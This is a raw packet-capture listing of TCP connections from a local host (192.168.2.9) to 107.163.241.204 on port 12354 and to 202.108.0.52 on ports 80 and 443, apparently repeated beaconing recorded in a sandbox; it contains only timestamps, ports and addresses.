Dec 11, 2024 16:25:43.692992926 CET	80	53422	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:43.693068981 CET	53422	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:43.693208933 CET	53421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:43.694067955 CET	53422	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:43.719679117 CET	12354	53384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:43.812428951 CET	12354	53421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:43.813355923 CET	80	53422	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:45.261578083 CET	80	53422	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:45.263834000 CET	53422	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:45.266410112 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:45.266460896 CET	443	55360	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:45.266725063 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:45.267339945 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:45.267354012 CET	443	55360	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:45.704056978 CET	12354	53384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:45.704668045 CET	53384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:45.818348885 CET	12354	53421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:45.820889950 CET	53421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.448271036 CET	53384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.448581934 CET	55505	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.448729992 CET	53421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.568248987 CET	12354	53384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:46.568267107 CET	12354	55505	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:46.568348885 CET	55505	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.568597078 CET	12354	53421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:46.585161924 CET	55505	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.590554953 CET	55526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.705707073 CET	12354	55505	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:46.710108042 CET	12354	55526	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:46.710264921 CET	55526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.710813999 CET	55526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:46.832607031 CET	12354	55526	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:46.968554020 CET	443	55360	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:46.968635082 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:46.969309092 CET	443	55360	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:46.969347954 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:46.972848892 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:46.972893953 CET	443	55360	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:46.972940922 CET	55360	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.084949970 CET	53422	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.085386992 CET	55962	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.208619118 CET	80	55962	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:47.208635092 CET	80	53422	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:47.208683968 CET	55962	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.208712101 CET	53422	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.209956884 CET	55962	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.332612991 CET	80	55962	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:47.489520073 CET	55526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.489538908 CET	55962	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.489567995 CET	55505	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.494466066 CET	56247	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.613846064 CET	56326	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.614599943 CET	56327	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.614599943 CET	12354	56247	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:47.614682913 CET	56247	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.615381956 CET	56247	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.733567953 CET	12354	56326	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:47.733638048 CET	56326	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.733797073 CET	80	56327	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:47.733851910 CET	56327	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.734630108 CET	12354	56247	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:47.735153913 CET	56326	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:47.735380888 CET	56327	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:47.854517937 CET	12354	56326	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:47.854613066 CET	80	56327	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:49.296241045 CET	80	56327	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:49.296298981 CET	56327	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:49.385983944 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:49.386004925 CET	443	57674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:49.386059046 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:49.387360096 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:49.387371063 CET	443	57674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:49.735692024 CET	12354	56247	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:49.735788107 CET	56247	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.736315012 CET	56247	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.736865997 CET	57951	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.845012903 CET	12354	56326	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:49.845072985 CET	56326	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.847091913 CET	56326	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.851907015 CET	58061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.855654001 CET	12354	56247	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:49.856146097 CET	12354	57951	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:49.856204033 CET	57951	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.856829882 CET	57951	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.967932940 CET	12354	56326	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:49.972367048 CET	12354	58061	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:49.973058939 CET	58061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.975644112 CET	58061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:49.977818012 CET	12354	57951	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:50.095180035 CET	12354	58061	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:51.118736982 CET	443	57674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.118815899 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.119466066 CET	443	57674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.119513035 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.162014008 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.162183046 CET	443	57674	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.162251949 CET	57674	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.283922911 CET	56327	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.284332991 CET	58828	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.495776892 CET	80	58828	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.495809078 CET	80	56327	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.495852947 CET	58828	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.495870113 CET	56327	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.496241093 CET	58828	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.501863003 CET	58061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.501893044 CET	58828	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.501921892 CET	57951	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.503520966 CET	58996	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.617764950 CET	59064	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.619185925 CET	59066	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.620951891 CET	80	58828	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.621026993 CET	58828	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.627127886 CET	12354	58996	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:51.627191067 CET	58996	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.627480984 CET	58996	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.737374067 CET	12354	59064	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:51.737498999 CET	59064	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.738907099 CET	80	59066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:51.738980055 CET	59066	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.739474058 CET	59064	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:51.739619970 CET	59066	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:51.746795893 CET	12354	58996	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:51.858819962 CET	12354	59064	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:51.859117031 CET	80	59066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:53.311847925 CET	80	59066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:53.311911106 CET	59066	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:53.740675926 CET	12354	58996	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:53.740745068 CET	58996	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:53.848644972 CET	12354	59064	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:53.848768950 CET	59064	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:53.889863968 CET	60766	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:53.889918089 CET	443	60766	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:53.890186071 CET	60766	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:53.901910067 CET	58996	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:53.902524948 CET	60767	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:53.903260946 CET	59064	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:53.904797077 CET	60766	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:53.904814959 CET	443	60766	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:54.022274017 CET	12354	58996	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:54.022293091 CET	12354	60767	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:54.022375107 CET	60767	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:54.022825956 CET	12354	59064	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:54.029109955 CET	60767	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:54.031325102 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:54.152414083 CET	12354	60767	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:54.154679060 CET	12354	60826	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:54.154756069 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:54.155124903 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:54.276319027 CET	12354	60826	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:55.520323992 CET	60767	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.520323992 CET	60766	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:55.520327091 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.520850897 CET	62599	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.631709099 CET	62749	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.632059097 CET	59066	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:55.632359982 CET	62750	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:55.640146017 CET	12354	62599	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:55.640244961 CET	62599	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.640994072 CET	62599	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.751897097 CET	12354	62749	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:55.752135992 CET	62749	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.752240896 CET	80	62750	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:55.752253056 CET	80	59066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:55.752296925 CET	62750	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:55.752326965 CET	59066	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:55.752512932 CET	62749	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:55.752765894 CET	62750	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:55.760773897 CET	12354	62599	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:55.871762991 CET	12354	62749	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:55.872097015 CET	80	62750	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:57.315236092 CET	80	62750	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:57.315350056 CET	62750	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:57.321949005 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:57.322029114 CET	443	64288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:57.322103024 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:57.322575092 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:57.322609901 CET	443	64288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:57.751698971 CET	12354	62599	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:57.751797915 CET	62599	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.752408028 CET	62599	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.752758980 CET	64837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.861066103 CET	12354	62749	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:57.861170053 CET	62749	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.865572929 CET	62749	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.871803999 CET	12354	62599	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:57.872088909 CET	12354	64837	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:57.872149944 CET	64837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.872520924 CET	64938	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.874202967 CET	64837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.984994888 CET	12354	62749	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:57.991872072 CET	12354	64938	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:57.992136955 CET	64938	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:57.993514061 CET	12354	64837	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:58.009088993 CET	64938	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:58.128473043 CET	12354	64938	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:59.013902903 CET	443	64288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.013974905 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.015412092 CET	443	64288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.015508890 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.045027971 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.045130968 CET	443	64288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.045350075 CET	64288	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.162162066 CET	62750	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.162164927 CET	49590	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.281435966 CET	80	49590	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.281541109 CET	49590	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.281656027 CET	80	62750	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.281761885 CET	62750	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.282166004 CET	49590	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.402050972 CET	80	49590	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.533787012 CET	49590	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.533787012 CET	64837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.533793926 CET	64938	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.536868095 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.656320095 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:59.656451941 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.656971931 CET	49927	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.665677071 CET	49928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.666007996 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.776267052 CET	80	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.776376009 CET	49927	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.777447939 CET	49927	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:59.785176992 CET	12354	49928	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:59.785244942 CET	49928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.785392046 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:59.813165903 CET	49928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:59.896694899 CET	80	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:59.932605028 CET	12354	49928	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:01.342509985 CET	80	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:01.342570066 CET	49927	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:01.347094059 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:01.347136021 CET	443	50429	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:01.347218037 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:01.348565102 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:01.348577023 CET	443	50429	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:01.783030987 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:01.783128023 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.783309937 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.783945084 CET	50770	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.891952038 CET	12354	49928	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:01.892106056 CET	49928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.892671108 CET	49928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.896517992 CET	50952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.904058933 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:01.906006098 CET	12354	50770	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:01.906105042 CET	50770	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:01.906562090 CET	50770	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:02.012196064 CET	12354	49928	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:02.015778065 CET	12354	50952	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:02.015866041 CET	50952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:02.018312931 CET	50952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:02.025760889 CET	12354	50770	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:02.137965918 CET	12354	50952	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:03.217410088 CET	443	50429	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:03.217720032 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.219968081 CET	443	50429	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:03.220081091 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.516256094 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.516513109 CET	443	50429	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:03.516572952 CET	50429	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.552117109 CET	50952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.552519083 CET	50770	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.553498030 CET	52076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.631408930 CET	49927	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.631902933 CET	52124	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.667108059 CET	52148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.673141956 CET	12354	52076	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:03.673232079 CET	52076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.673775911 CET	52076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.751164913 CET	80	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:03.751223087 CET	49927	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.751338959 CET	80	52124	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:03.751405954 CET	52124	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.752213001 CET	52124	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:03.786566019 CET	12354	52148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:03.786674976 CET	52148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.787112951 CET	52148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:03.793123960 CET	12354	52076	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:03.871754885 CET	80	52124	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:03.906389952 CET	12354	52148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:05.327534914 CET	80	52124	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:05.328583956 CET	52124	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:05.331037045 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:05.331084967 CET	443	53886	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:05.331227064 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:05.331578970 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:05.331587076 CET	443	53886	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:05.782805920 CET	12354	52076	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:05.782888889 CET	52076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.783629894 CET	52076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.784096956 CET	54178	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.892165899 CET	12354	52148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:05.892251968 CET	52148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.893018007 CET	52148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.900140047 CET	54341	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.906522036 CET	12354	52076	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:05.907054901 CET	12354	54178	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:05.907221079 CET	54178	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:05.931495905 CET	54178	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:06.016772032 CET	12354	52148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:06.024085045 CET	12354	54341	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:06.024591923 CET	54341	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:06.026236057 CET	54341	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:06.052901030 CET	12354	54178	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:06.145507097 CET	12354	54341	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:07.011562109 CET	443	53886	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.011645079 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.012337923 CET	443	53886	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.012378931 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.015428066 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.015461922 CET	443	53886	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.015506029 CET	53886	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.131599903 CET	52124	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.132114887 CET	56006	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.252185106 CET	80	56006	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.252254009 CET	56006	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.252326012 CET	80	52124	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.252367020 CET	52124	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.256187916 CET	56006	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.375505924 CET	80	56006	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.564950943 CET	56006	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.564992905 CET	54341	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.564996958 CET	54178	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.577013016 CET	56340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.696316004 CET	12354	56340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:07.696382999 CET	56340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.697645903 CET	56383	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.697942972 CET	56384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.698101997 CET	56340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.817039013 CET	80	56383	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.817106962 CET	56383	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.817161083 CET	12354	56384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:07.817204952 CET	56384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:07.817361116 CET	12354	56340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:07.818212986 CET	56383	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:07.818326950 CET	56384	12354	192.168.2.9	107.163.241.204
